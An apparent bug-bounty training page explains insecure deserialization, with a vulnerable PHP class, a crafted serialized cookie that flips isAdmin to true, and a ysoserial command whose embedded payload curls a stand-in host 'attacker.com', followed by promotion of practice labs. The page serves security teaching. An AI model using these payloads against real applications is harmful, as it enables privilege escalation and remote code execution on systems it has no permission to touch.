Deserialization

Critical

Insecure Deserialization

Definition

Insecure Deserialization occurs when an application deserializes untrusted data without proper validation. Attackers can tamper with serialized objects to achieve remote code execution, privilege escalation or data manipulation. It affects languages such as Java, PHP, Python, Ruby and .NET.

Impact

Remote code execution (RCE) on the serverBypassing authentication and access controlsInjecting arbitrary objects into the applicationDenial of serviceData and business-logic manipulation

Examples

PHP Object Injection

The PHP application deserializes data from a cookie without validation. The attacker crafts a serialized object with modified properties (isAdmin: true), which upon deserialization creates an instance with administrator privileges.

// Vulnerable PHP class
class UserPreferences {
  public $theme = 'light';
  public $isAdmin = false;

  public function __destruct() {
    if ($this->isAdmin) {
      // Privileged operation
    }
  }
}

// Insecure deserialization
$prefs = unserialize($_COOKIE['preferences']);

// Attacker payload (serialized cookie):
O:15:"UserPreferences":2:{s:5:"theme";s:4:"dark";s:7:"isAdmin";b:1;}
// isAdmin is set to true

Java Deserialization with ysoserial

Java applications that use ObjectInputStream to deserialize input data are vulnerable. The ysoserial tool generates payloads that exploit 'gadget chains' in common libraries such as Apache Commons to achieve code execution.

# Generate the payload with ysoserial
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/pwned' | base64

# Send it as a cookie, header or body depending on the vector:
Cookie: session=rO0ABXNyADJvcmcuYXBhY2hlLm...

# When the server deserializes (ObjectInputStream.readObject()),
# the gadget chain runs, resulting in RCE

Practice Deserialization with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
2,482

hunters training

62

labs from real hacks

1,630

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime